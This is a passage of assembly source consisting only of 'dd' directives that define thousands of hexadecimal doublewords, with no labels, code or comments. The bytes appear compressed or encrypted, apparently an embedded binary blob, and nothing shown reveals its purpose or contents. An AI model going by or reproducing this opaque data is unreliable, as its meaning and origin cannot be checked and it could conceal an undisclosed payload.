0BFE17A03h, 49B3C040h, 0C4FF00F4h dd 0CFB610FBh, 88001C8Ah, 972AE1C7h, 7B15A2BEh, 9AC40778h dd 30242D48h, 2366A428h, 0B2B1E104h, 90B839h, 30B9C8C7h dd 0ADD8B7EAh, 0F8076D18h, 7E207D98h, 0D236D470h, 0EC660027h dd 0FB4773Eh, 0A602D583h, 39957B45h, 0E736E042h, 2F8D5C85h dd 0E39FBD03h, 0DCF07A0Bh, 51003223h, 0A1BEC1ADh, 12A6AE81h dd 0FDDA099h, 378BAAE0h, 0B009C5Eh, 0DBB9E7Fh, 24A80085h dd 0CC979842h, 0CB30800Ah, 9473A459h, 28C67ED6h, 308E785h dd 6F8641C9h, 28DBAFA5h, 0E5019AE0h, 4C0CC714h, 89383CCEh dd 0E015677Bh, 5C180ECh, 3F81420Ah, 7B30B0CDh, 8A48E501h dd 11E25EDCh, 8CB8472Bh, 0D1C96027h, 920F6B2Ah, 0C258B7F9h dd 8115B374h, 0C7A80582h, 0E4FA040h, 0D5920030h, 8473AC39h dd 957D966Ch, 1E02B300h, 0F523D676h, 8D8000E0h, 8E3E9BC5h dd 6500E816h, 7CC6E92h, 2E323C34h, 0C897DEh, 0A610FCEAh dd 0C700DAB5h, 33F7FB28h, 3CD6B94Dh, 6900BBC3h, 295D1E34h dd 0AF0057ACh, 0D4D49D5h, 13A512h, 8CA8560h, 7D191AF1h dd 4A16FB03h, 88F43789h, 3F8CF906h, 4180D270h, 3465E160h dd 233F0BEEh, 74E4008Fh, 0E96229F6h, 76F40002h, 31A66987h dd 0C6803AD0h, 0C49E36h, 0D42C28EAh, 0DE005B3Ch, 0D1305105h dd 3A642518h, 0A8068E5h, 16A3BEB3h, 0B400D966h, 87CA96EFh dd 3DD86522h, 68779B5h, 30D31DB6h, 1E36EF32h, 0B1A06C0Eh dd 7F8D00F8h, 6F9DDFh, 0AD95890Ah, 3B018393h, 29003CF8h dd 0E1A87813h, 0B598B0h, 7D632C9h, 3BDB45FDh, 7E212D00h dd 9244E89Eh, 0B1580EFBh, 5C2677h, 428DAB35h, 87077AEBh dd 3772E7C7h, 99B6471h, 7FBDEF0h, 24761DF4h, 2AEDB02Ch dd 917E4DCDh, 2273891Dh, 0AA925B40h, 0E8DD4367h, 0BCD205B0h dd 80392454h, 9565202Fh, 0CB681C00h, 6472F42Bh, 6E2C3AB7h dd 0F5459Fh, 8EFDABA2h, 0E701A36Dh, 41A66418h, 0B8C01C0Dh dd 1670022h, 0D8CC2873h, 0A0068DDh, 383A8E16h, 7827A064h dd 759901DAh, 1FFD7A55h, 96D04039h, 6726E5A6h, 0AC40908Fh dd 99756DCBh, 0D3D50028h, 7A88D874h, 134F0200h, 44A15A6h dd 5AE6009Fh, 49147237h, 6A3D2905h, 0D01B2896h, 869FA200h dd 0CB2F5F1Dh, 0C3D8249Ah, 61E000A7h, 0A5686EF4h, 0CC713124h dd 6A1AE505h, 11E10B0h, 0EB89BE88h, 3078E337h, 0A02D7F8h dd 56A9EE12h, 0F7C8C813h, 5C28700Ch, 890008DDh, 7C3EBE62h dd 0EA0EAE77h, 0A3EE8C93h, 0F3087D2Fh, 0C5CC009Ah, 80184AE2h dd 8290F62Dh, 97845302h, 8C3D3FDAh, 481894h, 767A75D4h dd 0BF737707h, 0FDBD0301h, 85592261h, 3EDBE8h, 569CE0Bh dd 54E8A28Ch, 81E07C3Bh, 31DFAE35h, 79D0A9E3h, 0F5240040h dd 1903292Fh, 901F3715h, 0A6C0D9BDh, 0FCAA1CDEh, 36B007E8h dd 4089EDB5h, 641B18C6h dd 0D9DE8201h, 0EC692A21h, 375E20h, 76CF997h, 8DB2AAE3h dd 94DE5426h, 3315BE01h, 0B83D86A7h, 7CA17260h, 0E30BEED8h dd 83D6A04Bh, 513E2E81h, 86D10E8h, 18500841h, 0F663D9C3h dd 1794982Ch, 217439CDh, 70E814FCh, 0ED0056DCh, 7999F219h dd 1D6427FBh, 4B263AF1h, 9CA21BD5h, 8CE1EFE7h, 0AEA970A1h dd 0D8643Ah, 0F51C20E6h, 77ECD7CFh, 60365807h, 0BD82A900h dd 2F745C2Ah, 809DD92Fh, 10B28C44h, 3EF4014Ah, 0A0760B1Eh dd 0E0402EB8h, 0BDDC2678h, 60500022h, 130B5AECh, 300E549h dd 3D1C9A75h, 0CD7151h, 29E70D38h, 87EF17D6h, 9C701200h dd 7AC9A3Eh, 0D7BF01B4h, 0F87A4E48h, 4610D823h, 1AA7610Fh dd 0BD5100F1h, 0C5980773h, 0C3B579BAh, 47F87148h, 0EA009E0Bh dd 0FC6E3B56h, 91A80D50h, 62023B90h, 7FC14B3Ch, 0C0A59454h dd 5BD28804h, 12D820B0h, 3E2E6D0Dh, 0F60048E5h, 0E759F288h dd 50B9E470h, 848A9Ch, 5566B515h, 36298554h, 0D4FE7300h dd 6EDD466Fh, 8C76DAh, 0C28706B4h, 20037969h, 89370F07h dd 0E3A016A7h, 1F494775h, 0C0D839DAh, 0BA08B724h, 0BF010C6Ah dd 36547BABh, 0C2FC785Ch, 8E700006h, 9B406ED3h, 0E63B2594h dd 3033DDCh, 5C12E57Eh, 3460B088h, 0B8150122h, 0D7295372h dd 1060875Eh, 41431ADDh, 3443E80Bh, 0CB8E002Dh, 0EB8B1CC7h dd 0B73AC804h, 0A58000F6h, 0DE21121Dh, 0DBAE00C0h, 6B1F107Ah dd 0B303BEECh, 0B6222D2Fh, 0ABB5D0ADh, 3C7121h, 11D3F71h dd 6AF3998Bh, 0FA1A4D00h, 0CA09FE33h, 0C640063h, 1152DF8h dd 590F5CC3h, 209CEF25h, 0B8EC1EC9h, 1F0900D1h, 416BECEh dd 6800E9B1h, 0D332E312h, 98C448h, 0B84DC58Bh, 2E2BA036h dd 0F31E30E6h, 0BCABD60Eh, 0BB1E3500h, 2D4E22h, 96948405h dd 3DED0EF2h, 0C1C4D700h, 2CC2E7F4h, 9BA71C6Ah, 0ABC30026h dd 65F10318h, 75C58600h, 2109683Ch, 0FAE02CFh, 273491DEh dd 200041E3h, 0BA64F5ECh, 30527184h, 0AF96F7FDh, 9C007B66h dd 8F2C7AC8h, 0B024CA22h, 4A742432h, 1C4B0732h, 0B9801BC3h dd 18669608h, 0D8E1DF00h, 23B8E697h, 0B7D50001h, 8114456Eh dd 6C00F771h, 276992FFh, 0EC4CA5BAh, 2A7A73h, 701DA186h dd 8336EB5Bh, 9CD5E501h, 6498E26Ch, 7C7F30h, 8EFC6128h dd 53A52B5Eh, 6DFAA203h, 0A8466A3Bh, 2CE2223h, 0BDD0EF35h dd 8802006h, 0A807BCD3h, 9129600h, 9A8934D7h, 52B2261Eh dd 0FE820343h, 87E0CCE7h, 6C007E1Fh, 6850A842h, 0FE322BCh dd 0B365CEDAh, 262CCFC3h, 0ACC3C1F0h, 9E3D7606h, 7410A7E5h dd 223E484h, 50B8C9ECh, 20411D83h, 0A69F60D5h, 0E65D5305h dd 0DC009294h, 1854E91Fh, 16374EDh, 211E8348h, 405C79CDh dd 4682ACCDh, 0BEDF2F07h, 360455A1h, 0F8DE4083h, 0EA946641h dd 0D903001Eh, 0C964590Ah, 0A401D290h, 638F304Ah, 0E9EB95F5h dd 3160C707h, 7776FCB7h, 0BEB1008Eh, 0FCF305CBh, 665C60E9h dd 0CD29010Bh, 586FD99Dh, 0A0D275ECh, 1F99C0h, 293AB808h dd 2132E8D0h, 3F1E0300h, 0E0769D40h, 0A9800AFh, 2E561468h dd 33009EBFh, 0C754536Ah, 2957076Fh, 8FB424A9h, 88818B95h dd 0E08DA431h, 803C2D5Bh, 56D4802Fh, 56B4FABh, 0C1C52C1Eh dd 77DA004Dh, 0FF886E2Dh, 76286C00h, 0FE8097AFh, 91FD0338h dd 0A5D1E0CAh, 0BF29A0E7h, 2C00F2C3h, 0D0F93CB6h, 0DFFE9Fh dd 3E0ECDCFh, 0D333A9CCh, 790D8F00h, 0E165BCD7h, 0F105013Bh dd 6699979Dh, 0B5B2F0E2h, 0BDDA1F00h, 537CB9DEh, 6A8B0065h dd 1883F041h, 260094D6h, 2BAA98E6h, 116F110h, 7A68AEA9h dd 20E3F859h, 0A600DCC8h, 1C24617Bh, 0F0EC21DAh, 0D5710F4Fh dd 67C0B7B0h, 0DCD7105Fh, 3907339h, 0E8295A9h, 76DA9028h dd 7F9600B0h, 0D509250Fh, 41016571h, 3A5E8D67h, 0D8C03D62h dd 0EE0F00E9h, 53B4294Ch, 60E81310h, 12913Ch, 905948A8h dd 7CECA03Fh, 0C3A50066h, 2F64EA33h, 80386F0Eh, 0B2700082h dd 0C9DF5B84h, 0D5E10022h, 6E0FDDBBh, 0C8E6E3D1h, 171777EAh dd 0D986h, 39A1E9F9h, 417200CFh, 11634BA7h, 0F600528Dh dd 2874EA6Ah, 1E9256Fh, 0B0CA2364h, 0F80B2E87h, 0CFEAC8B4h dd 268DE600h, 6695E175h, 0D4D73F5Dh, 3B29F500h, 0B6B364A1h dd 123C084Ch, 88434F0Fh, 0C9D73C2Eh, 60E20341h, 68B12Ch dd 7FF0913Eh, 95EDB8CDh, 89F94F1Fh, 80B4D80h, 73C92D4h dd 0C2E2DACCh, 2035F24Bh, 1C4BA842h, 0E68B2B8h, 0D96F7300h dd 96446378h, 18E90936h, 0B80034FBh, 52A5A087h, 9E007BECh dd 0F8605C59h, 0D6F88h, 0DB68CB25h, 0A724D727h, 0B9BDB207h dd 6940F82Bh, 124ED0F3h, 3407486h, 0FC8FA20Bh, 0BE412FA8h dd 64003AF6h, 7E34A169h, 0B0A067h, 33460893h, 41E34A82h dd 0CCA64301h, 489C3F85h, 1A1830h, 7087BD68h, 32E07D20h dd 13D4DD49h, 72013BC0h, 63DFD228h, 96E0A0F7h, 0E2490265h dd 0F201C961h, 0D48A12C0h, 9E3F7F00h, 81D241E0h, 9AE86Dh dd 0C288D9F1h, 25576619h, 0F3588EEFh, 0E2EE4307h, 0E358BBA2h dd 2C5BD898h, 0D9309A3h, 0E801A937h, 20926372h, 2B007494h dd 0ED5116D8h, 0C6EB20h, 7CC5786Fh, 0F811254Fh, 0D386AF0Eh dd 213380C2h, 0F0F424E0h, 0C56F01C8h, 9F48AB50h, 62E8DB8Ah dd 3C008588h, 643441E5h, 0FE6B15Dh, 4BE495C4h, 6CFB5082h dd 0F0391C41h, 35008BFEh, 47F4FFCCh, 0FE3D9055h, 15690091h dd 0F7A398EBh, 0D50042DCh, 0F919C6D0h, 395C55h, 3689FD06h dd 7285FC2Fh, 0EF62407h, 0DFA0ACBBh, 265A55h, 0F3EC47EEh dd 2B56879Ah, 6B86DC02h, 8FE79478h, 0CAD32094h, 130704DEh dd 38B2BFh, 0EE0AE440h, 3D00B7C5h, 5DABBA02h, 1C599F75h dd 406C60E3h, 7DA531DEh, 780064EFh, 1F32DD6Bh, 132BD0h dd 0BFC3C434h, 112AEDA4h, 140A2800h, 0DA9C71DBh, 0EBBB003Dh dd 93BBF26h, 322C4191h, 9900986Ah, 0CD44D7A9h, 0C8C20022h dd 9D87FE04h, 0B6004DA0h, 0CA3E5170h, 804F64h, 0DDEFA9DFh dd 7D8BDFBh, 0AC00B9EAh, 691A49D6h, 2C597BCBh, 64A7C4h dd 848F5D3Ah, 0C0000D57h, 895F4794h, 185186h, 30289DA3h dd 0E37C759Ah, 0FF07807Fh, 123A7871h, 32B49F0h, 39FC76h dd 7EC3A411h, 48DA146h, 4A016D79h, 164FE5DBh, 123FBBABh dd 20AA003Ch, 6C8F72B0h, 50766F24h, 0DF0A7424h, 0A01DCA38h dd 0C65DC340h, 3CFE54Fh, 93B17B98h, 71FF057Ch, 204CA387h dd 0D00032B4h, 51DB2BD6h, 0A72A5Eh, 16476145h, 0AC4265F5h dd 0EADC0900h, 0DEC5119Dh, 0FBC10B10h, 3C00685Fh, 0F3F1A3D6h dd 8CE4BF1Dh, 8E2F5280h, 36BED9Ch, 36B0333Dh, 0F2E8CCD5h dd 0F0C4D3C4h, 3C08B2Ch, 900E7DE2h, 483D00ECh, 8937625Fh dd 93F62AA4h, 16E63400h, 0BBB6C483h, 0C106007Dh, 1761EAB1h dd 59002A19h, 2683B3E9h, 0B865Fh, 93E2276Bh, 0BEE4EA4Bh dd 0D4E6D803h, 90F604C5h, 99DCCE95h, 398F8480h, 25DCC0C9h dd 32766ED3h, 37635400h, 92DC8197h, 3F1C0033h, 0EA04F90Fh dd 0A800B3C4h, 0C749B753h, 5810857Dh, 3E004026h, 4EC3BAF8h dd 80546B5h, 5937813Dh, 8D958300h, 0C7AAECh, 84427D77h dd 7DAA01Fh, 8A2B540Fh, 0E0088FB5h, 146D87B7h, 0C3F50392h dd 0EAE9CB10h, 1C5EE498h, 2CFF4Ch, 0B131AEA8h, 1AFB857h dd 535DDB1Ah, 20E6E0CFh, 0DF02D7B4h, 93F10A76h, 4014E28Ah dd 2CF6F02Dh, 73891BAh dd 63F785AEh, 17F8E461h, 9824DFECh, 0C9002822h, 97DBF013h dd 331E0221h, 321FD804h, 0A893B440h, 8374E909h, 129880E1h dd 40F29C21h, 6D3D108Bh, 0F10780D0h, 0A90E85C3h, 94C7EAB9h dd 5E7F001Ch, 82983D4Dh, 9D5F323Ah, 48C290CEh, 409AC969h dd 0F85264A0h, 603305A0h, 803E8786h, 881423B0h, 0B8B7C103h dd 0FB5914Ah, 0FA0A5581h, 4211EA8Ch, 2A94FD00h, 0BAE7C2FCh dd 2E06CF8Eh, 1E4B4600h, 28FD26B3h, 0B5DCC0B8h, 2D68A3Ch dd 13C809BBh, 9881C3D2h, 7032F486h, 580BEA54h, 26363CECh dd 558AB24h, 64A08F61h, 0ECF4D088h, 0F7160849h, 2041A871h dd 0CBC69B3Ah, 0F29093h, 4DFA7D8Ch, 9601BF2Bh, 0D83BE98Ch dd 0F22020C4h, 0E7F61D5Ah, 0FD27009Bh, 5ADAFC6h, 122CC8F4h dd 0D680505Ch, 0D3777988h, 129C9469h, 7A16FEh, 0E371E2BCh dd 2A0C840Fh, 684E700Dh, 0E56D001Ch, 0D4A69C93h, 0A200EF34h dd 0B7AF042Ah, 785CA5h, 334456FBh, 0AC91E767h, 82001298h dd 0AEABCB46h, 99749Dh, 8C4BB71Bh, 10041FE0h, 7CC859h dd 294EE61Dh, 0FD5D7FBh, 0EC12D82Ch, 74C29FA1h, 64AFC847h dd 0CCF9C90Bh, 8CB800A8h, 1A43175h, 0A08E602Fh, 8E944A2Bh dd 20DA1298h, 5DD02271h, 0E06F629Bh, 0D080F79Ch, 4888363Fh dd 0E707FB15h, 814C8CBCh, 7A7424A7h, 2AF88F04h, 0F2ACC03Dh dd 9CA5E3F1h, 93225300h, 0A06B7D3Eh, 111A2A8Eh, 39200D4h dd 0FB47E35Fh, 3890BC33h, 4102DA18h, 546A9160h, 4FEC054h dd 306F0F40h, 878CB2A4h, 8EB01932h, 37EC7C4h, 1FEB0435h dd 0F19A9DFFh, 9A2EC740h, 0DBED7B24h, 0E062D80Fh, 34905EDAh dd 860800FDh, 0E6BFB0F8h, 0E501D370h, 0E816CA7Eh, 0E485CE69h dd 80C7C586h, 0B0CD8E4h, 790C4E58h, 88CD2D0Fh, 2C803F14h dd 3A059889h, 0B24518C9h, 0C7F63957h, 0C8D12E01h, 8304DA7h dd 7ED4F0h, 9876C164h, 615DE73Ah, 9F252A01h, 32E9F1F8h dd 24087824h, 8228B656h, 0E5E21A64h, 0B98588A0h, 6D00906Ah dd 42D93844h, 761E2A9Ch, 66F80513h, 80C82BD1h, 2562D2C0h dd 9CCADC02h, 402F877Fh, 4C97B10Ch, 0A2001C80h, 0B439DEA0h dd 0C802C1E5h, 8618AB37h, 4974492Ch, 16B0830h, 4E50F142h dd 0D4B1B64Fh, 0A9022B5Fh, 21DEE27Fh, 5DB4E092h, 4EDD01D7h dd 0C0D991ADh, 5C6074C3h, 0C1E0F500h, 0D14BACA1h, 9B1B0016h dd 15266BA8h, 84008690h, 38528936h, 0B3E5F0h, 3F8DD501h dd 3E37CDCFh, 1B06D301h, 95C8E74Eh, 26CD060h, 4A68B31Dh dd 414087D9h, 0AE0C6982h, 0A0B21012h, 3EC0016Ah, 5CC27F97h dd 2D70F466h, 9470995Ch, 7D6D0042h, 33A36BFBh, 0CA620079h dd 0E03A1512h, 9C00BD76h, 0A2D9181Ah, 0F48F1625h, 86F700E2h dd 1BCF758Eh, 2B7E5E54h, 0E88BB100h, 80C589DBh, 72DF0082h dd 0EBA93F65h, 0CD7E8FFBh, 729F095Ch, 37DCC800h, 79CF150Fh dd 9408015Ch, 0B8D2E731h, 756C70B9h, 9F831108h, 0B7208Bh dd 0C1E3F81Bh, 0B3B4282Bh, 0CDFA0505h, 8C03E8Ch, 0C976E4h dd 9B9497E0h, 4EAC4632h, 9D576600h, 0B04A369Fh, 5865014Dh dd 34F2AA17h, 0DD602089h, 48F9D3Ch, 7F75AEFh, 0CBE607C0h dd 8AA42457h, 0FCA8E8h, 417DA826h, 0AFBFDA2Eh, 0A25C7F18h dd 0F2531021h, 72090065h, 4738DB71h, 8700C046h, 0B7605878h dd 4F84F8Ah, 14051F93h, 0AE60D090h, 6D05FB19h, 973A621Dh dd 98F0888h, 0B506BBBh, 0E0D2F840h, 925C32FAh, 2D277C4Ch dd 76E40011h, 22B52Bh, 0A01E74A3h, 31480A91h, 0B6188400h dd 4DAED5D9h, 44B11C5Fh, 81B3C011h, 3503B908h, 8623D203h dd 0DB55BCDDh, 0DD87CBA3h, 62E9280h, 141A0177h, 0CB31DEB2h dd 0FB59D4D1h, 0EB07C098h, 0F24FA089h, 6B25A990h, 0F99F0210h dd 0DE2ED467h, 0F4FCB840h, 7B00C4E0h, 4676073Ah, 0F2CF20Ah dd 998F4F3Bh, 52417AA1h, 0FAC1D414h, 88E64450h, 7E51A01h dd 1F768E2Bh, 28A70h, 0BB671C6Dh, 0D1DFE821h, 80A033F9h dd 9FD9CD1Bh, 56501406h, 0DD0BB09Eh, 80094BE5h, 4C84D009h dd 41064F6Bh, 4B9FDD7Ah, 0E3131080h, 0C1C7F009h, 6959D560h dd 0B37B174Ch, 5AACE8h, 8402FB3Ah, 46164DF2h, 4400101Eh dd 0B62C7592h, 59AAF85Fh, 0A50310EDh, 3F0DC2F4h, 0A6457F98h dd 6E1019C1h, 6C66A32Fh, 0CC988475h, 0F8F70101h, 571B7909h dd 306F3434h, 0B1A12DF9h, 33585F24h, 0ADC100A8h, 455566ABh dd 1C1D0084h, 0E5164E4h, 0EE49C5F6h, 0D8A60C54h, 0F1AE30B9h dd 0EDEA4F4h, 0F360CE43h, 8EE84625h, 8D9F0564h, 888C729Ah dd 0BDD43F90h, 38F2E718h, 51093906h, 0F939E8Ch, 0B4E3AAF4h dd 6A7C8685h, 0F4CDA8C4h, 55808028h, 0FE3E2171h, 47189704h dd 0B8D2C379h, 0C7200E54h, 1E9DB75Eh, 0FB9B0600h, 176CEDF4h dd 6FE60055h, 0B61D69C5h, 0D6002063h, 0C1A75EA3h, 1276A493h dd 0B08E1031h, 0D8A63B5Dh, 0A050572Ah, 0B5C5D800h, 370B7DE6h dd 1DD0C55Bh, 0CDD0423Eh, 34C8182Eh, 249084BAh, 0CF771100h dd 98FAB044h, 687A00C7h, 634DBC21h, 4FF237E0h, 0C02A0200h dd 3B52946Fh, 16F27006h, 929314B9h, 3CE151D8h, 2421E449h dd 0A4B7900Ah, 69809867h, 0D866C879h, 0A9C261D1h, 71329F3Eh dd 1280958h, 0E03C8590h, 0D8A9EDC9h, 2042D09Dh, 0BC326902h dd 58E60E8Eh, 0A4F100D8h, 2D6EFDFEh, 0C10043D8h, 48C58B90h dd 0F85AA7DAh, 2CD70085h, 2D94D529h, 0FA0BB478h, 1626CFDh dd 0FB141540h, 0C5881080h, 8CDBCB3h, 0E1873E18h, 305129h dd 0AAF4A28Dh, 0EC696654h, 7C5FA51Bh, 55479821h, 56370031h dd 50B8CA77h, 9A04DFECh, 78DC7224h, 58923090h, 11F2165Ah dd 81FC30E1h, 4818CBA1h, 0AB29D3FCh, 3FCAEC31h, 0D9027EA9h dd 5CD6DB20h, 5496E0D8h, 0FD96ED81h, 53D867A6h, 4B520361h dd 886E8458h, 519DB000h, 0BEEB94AAh, 13E00C3h, 3B7AA521h dd 73604B70h, 0DF641F19h, 0BBFA0024h, 1EF44C4h, 0B53942BFh dd 1B8D8B1h, 0E24CC939h, 876003E3h, 9BBE0045h, 0AC426378h dd 0CC05595Ch, 31B21A18h, 3C58B880h, 0B4F000AEh, 6F3F3786h dd 260F6C0Eh, 5DCB6B2h, 0A4805BC5h, 0ECABCE54h, 0F7FC5028h dd 6C361C2Bh, 0F696FF9Bh, 75C097E7h, 3E9FC001h, 1B017345h dd 0E6F85869h, 98408FBFh, 0BC1156h, 8B614398h, 0A6135388h dd 2C2D9A00h, 4464719Eh, 80690696h, 1E3B74B7h, 16044C59h dd 9A133F7Dh, 78053C00h, 2C528AF7h, 4A08555h, 40AF7DFDh dd 2795DDEAh, 109F58E7h, 0E0236515h, 0A2B42E01h, 3895102Ch dd 0EE800A8h, 0CA6BC4EDh, 0ABCF00CCh, 9FE958E2h, 0BA0FFB21h dd 0E43243C3h, 0C88028ADh, 73823465h, 20092CCh, 0FD4548A2h dd 8C7C424h, 64EA2200h, 705A53h, 0D6F3C8CFh, 0DCFF3014h dd 8749F702h, 587486C2h, 41BFF0E8h, 226120C3h, 0A8B4B4B0h dd 85C57800h, 2EBD1250h, 0B50CA797h, 0CE0C9231h, 0C500A0D8h dd 0DD348356h, 12446h, 73F08F96h, 607DFA1Dh, 0F13E8A0h dd 5EAA4E01h, 72AEA870h, 2D153D0h, 0B75CF1F2h, 406832EDh dd 23F827A9h, 1C19D324h, 0DFDD8007h, 0E32E6721h, 0E824F2E9h dd 50B100E4h, 42CD9B7Ch, 0E1006931h, 0D8AA9897h, 7592E356h dd 2CE909EFh, 408FD627h, 1FF84E80h, 90B2D05Fh, 0D1D7E70Ah dd 5982A0C5h, 596C283Ch, 5FE384E4h, 75E4C78Dh, 507883A1h dd 94FAF9E2h, 309A89Ah, 0A04052CFh, 5C5AB758h, 0E5F90767h dd 71CA68BBh, 0C4D2D5D8h dd 0A1009F64h, 992F33A8h, 10DF629h, 15A275A5h, 64835247h dd 3AEC7D04h, 60309D04h, 74D5C8BBh, 0AB422480h, 0C47307E8h dd 0FDC2151h, 0E719C54h, 286059C3h, 0C0D7B7C4h, 0A7EC34CFh dd 9B5DCF0Bh, 96641685h, 16A36F58h, 8FAB22A4h, 27C1B288h dd 94DDE601h, 5FFFD4E1h, 0EFCC430h, 58A0E303h, 3882ADC1h dd 305021CFh, 94904DA0h, 0C8AAB0Bh, 99F031C8h, 2C06C210h dd 690D1201h, 5CACCB1h, 7B259C40h, 728D00E3h, 0BE560829h dd 0F4007080h, 865FECE1h, 91D787h, 8B97CB3Bh, 756B0A64h dd 795FC8F0h, 22697400h, 4C1FBF27h, 4700856Ch, 43F8F5Dh dd 0A6769120h, 5EF9580Ch, 0CA37291Ah, 0A8949CA8h, 108E5CF8h dd 0A902C33Eh, 0D393CD01h, 0E1FC5CC4h, 80960490h, 9FB42172h dd 0D440D03Ah, 90F30D1Fh, 70CA026Ch, 3342F621h, 9A8C4CC0h dd 387D2624h, 7F78681h, 11829581h, 0DCB78C29h, 0A8BA54E8h dd 0F3A64B03h, 0F0C9799Eh, 0E201C78Bh, 0A49A0085h, 7D5DB251h dd 0A002B80Eh, 0FE974C9Dh, 0CE36E0EDh, 0AD112616h, 0C3C11F54h dd 0ACB17530h, 0A7271000h, 0A82E5E54h, 0EA602552h, 7604B44Eh dd 0ED75F1F8h, 483B744Bh, 0E70911C0h, 30AD21F5h, 3C174344h dd 80013082h, 9D641D3Fh, 0C60FF842h, 3AB209C4h, 89806FC8h dd 0F79B2256h, 238BC4Ch, 51B06E0Fh, 1E845CDDh, 4FDE5D79h dd 9F49D426h, 0E9DF6480h, 1600FC84h, 0E1D1E472h, 812BAh dd 14708AB5h, 5B7EA0Ch, 0C91424FBh, 0D73A5B02h, 0C0BA9D0Dh dd 1043534h, 74EA08BDh, 41F7FACFh, 30E3FEACh, 0C4C4850h dd 80F138D7h, 0DB9C5798h, 14383AC7h, 84D4D0ACh, 86AF1C78h dd 7AC300FAh, 8C95F4EEh, 0AA05207Ch, 0BEF9F381h, 71A20380h dd 7B500B3h, 32A8CFFCh, 3E2B90Dh, 0A700CCE0h, 0F4430E31h dd 42FEFC7h, 0B8A3C3C4h, 0AE10F0D9h, 1800344Fh, 0E53F7CF2h dd 0E7160164h, 1FCC44A3h, 24C4F905h, 0B0A665A8h, 1331220h dd 354686B7h, 0F12CCC34h, 0DE83D823h, 6D3CEA16h, 0C13BA000h dd 0A53F86h, 7012644Ch, 6B1AD0D8h, 0B68CCD04h, 0FA804AA4h dd 4D063A93h, 8E251C5Ah, 3971D0ACh, 0DC138492h, 170CFBB9h dd 7A8023h, 0B7FA4280h, 79C0400Fh, 349948h, 0E5191E3h dd 4AEB0AE4h, 2284C8C2h, 1E30FC5Dh, 0BF4E0D31h, 7798801Eh dd 9724AACh, 0D3BEEE8Fh, 0AEC28C03h, 64AB8CD8h, 1EE6130Bh dd 0B9184019h, 5F53A88h, 44BF5C09h, 40D45827h, 79E5EF0Ch dd 0F5C8C200h, 0B05539A5h, 2574001Fh, 0FB4BEE53h, 6502BB47h dd 8C960B1Ch, 169480FEh, 7FE6DA87h, 0C901009Fh, 8BDB6FDCh dd 7A01EB70h, 93CF1991h, 8C8F162h, 484C6721h, 0DE11C145h dd 0CD91D074h, 1724A100h, 7E94E5DDh, 0F19D0423h, 0C7423E22h dd 6110FABFh, 0F47505FCh, 711603D8h, 5456AF39h, 20B53440h dd 3C226D02h, 13CEAB1h, 0E9A4D604h, 72088099h, 81004255h dd 0B152A59Bh, 0E0144B6Bh, 8FD0035h, 0D6164CBh, 0FEF394F7h dd 7920B040h, 8CC7D128h, 0D63E5Ch, 0EABAF071h, 1790AC29h dd 786C6EBh, 204EA005h, 0CD2A472Bh, 108BE42Fh, 0B1D1290h dd 87BF65E9h, 0F107EC0Eh, 0EC842B1h, 57515C68h, 14732E00h dd 79E69A3Dh, 0E5250158h, 7C72A9D5h, 0DD8420C6h, 6DB8CBE9h dd 1248960Fh, 0A8AB305Ch, 167A1E7h, 409068F5h, 2096AF9Eh dd 0ECB9464Ch, 6340F42Ch, 7E4AF5h, 9541CE9Ch, 5159E654h dd 3C044724h, 0E7D5FE40h, 0C6EF000Dh, 0D4FD40BAh, 3A0987E8h dd 8184E583h, 1F0D4D94h, 1E01B022h, 5E2161D7h, 0F102E4C6h dd 0DCA26B26h, 0C00084A8h, 34CBB1BCh, 1DACC987h, 3A4E79C5h dd 359C2383h, 0B8D17371h, 2F5AC08Bh, 0D11E3B30h, 440DB01Fh dd 50B49EA8h, 30D38980h, 0ED7B9Ch, 0C6747662h, 0FE4C8D39h dd 3F595100h, 8E1B231Ch, 0EE360054h, 1F27657Eh, 35015892h dd 0A2EF7FEDh, 0D1827D5Ah, 0E5C765F5h, 0FDACF121h, 455A470h dd 0EEF7E424h, 3500FE59h, 0E30CC193h, 2C1549B1h, 5FA3E00h dd 164A67CEh, 937FE38h, 2461CC08h, 38EC3028h, 0DD998800h dd 0C5D52872h, 0B9EB1D00h, 0CD200AD2h, 0E41C48BDh, 5CFF560Fh dd 2C00C929h, 3B1ACC31h, 91F00816h, 0A0B35409h, 803E5F2Ch dd 0AB450B71h, 0C06149h, 0E100579Ch, 0F86279A1h, 0BB4AC07h dd 0E61A151Fh, 0DB29EC60h, 6C027400h, 89EF17F4h, 1DFE005Fh dd 40C85425h, 0BF0026F5h, 9324AE0Dh, 0AB689Fh, 0D63A2D81h dd 0E91AF350h, 33E58B01h, 0DCC39DEh, 4F1C30h, 0A7E873D3h dd 26C58A1Eh, 2213D875h, 0A71C0A1Ah, 0F5B880FDh, 507E0F1h dd 57654CBDh, 2220D449h, 4C54AD00h, 5566782Ah, 0A5BF0750h dd 0F5F7886Fh, 8F990BCBh, 0B6308800h, 4FF22C91h, 0BA1FF82Eh dd 0C3C0E700h, 204F935h, 0EC3014A2h, 6640E819h, 0B8B21D7Ah dd 914AC4Ch, 0A0167186h, 0F5A89A80h, 68403F95h, 1459217h dd 2C31428Ch, 0B6602462h, 21527B00h, 3A32F081h, 0F17707C5h dd 0BE3D35CFh, 92D97280h, 7F003862h, 78BEC066h, 7F90433Ah dd 0A82A5C6Bh, 67D51D00h, 5602EFDCh, 26EEF558h, 9602C85Ch dd 4084D9CFh, 4C6E7919h, 777AF088h, 0C2B40992h, 888078D7h dd 4CE0CAF1h, 3FDCE801h, 256D3930h, 0E4F57FE9h, 242356CCh dd 54E9DEh, 0FD5C4B6h, 0C001719h, 8DE0E44Bh, 1A2AC33h dd 7E71DB18h, 2AD81483h, 4B531C00h, 87845Eh, 79B8323Eh dd 6E8A6450h, 0BD374500h, 0DD2B3982h, 0D91F07F5h, 10EBE063h dd 0FD24B15Eh, 906F48h, 9EB25DEAh, 4C93AB50h, 3F135843h dd 32150F25h, 0A8D07AE9h, 0F111CB1Eh, 0B68FFB40h, 27B75EFh dd 4A54495Ah, 0C078CC45h, 0DB0C9800h, 60AEE68Eh, 1E68008Bh dd 75C17DF3h, 0F1005546h, 0C8FDC286h, 9A233A9h, 430A198Fh dd 0A5EC1000h, 9B7A3130h, 8B1AFD00h, 50B8FC63h, 654B1Ch dd 5AFBB720h, 0F5754230h, 0A87BC400h, 0C6E9314Eh, 0CD990014h dd 0F84BC961h, 0C41DD676h, 68AEF27Eh, 5307631Ch, 0C7602F80h dd 0C28870h, 3AA9184Bh, 81373C89h, 8DFE4100h, 50D2DDCBh dd 18E4002Dh, 8621704Ch, 0DB3BD710h, 0B118372h, 0DF9437B8h dd 714D6E41h, 73C966E8h, 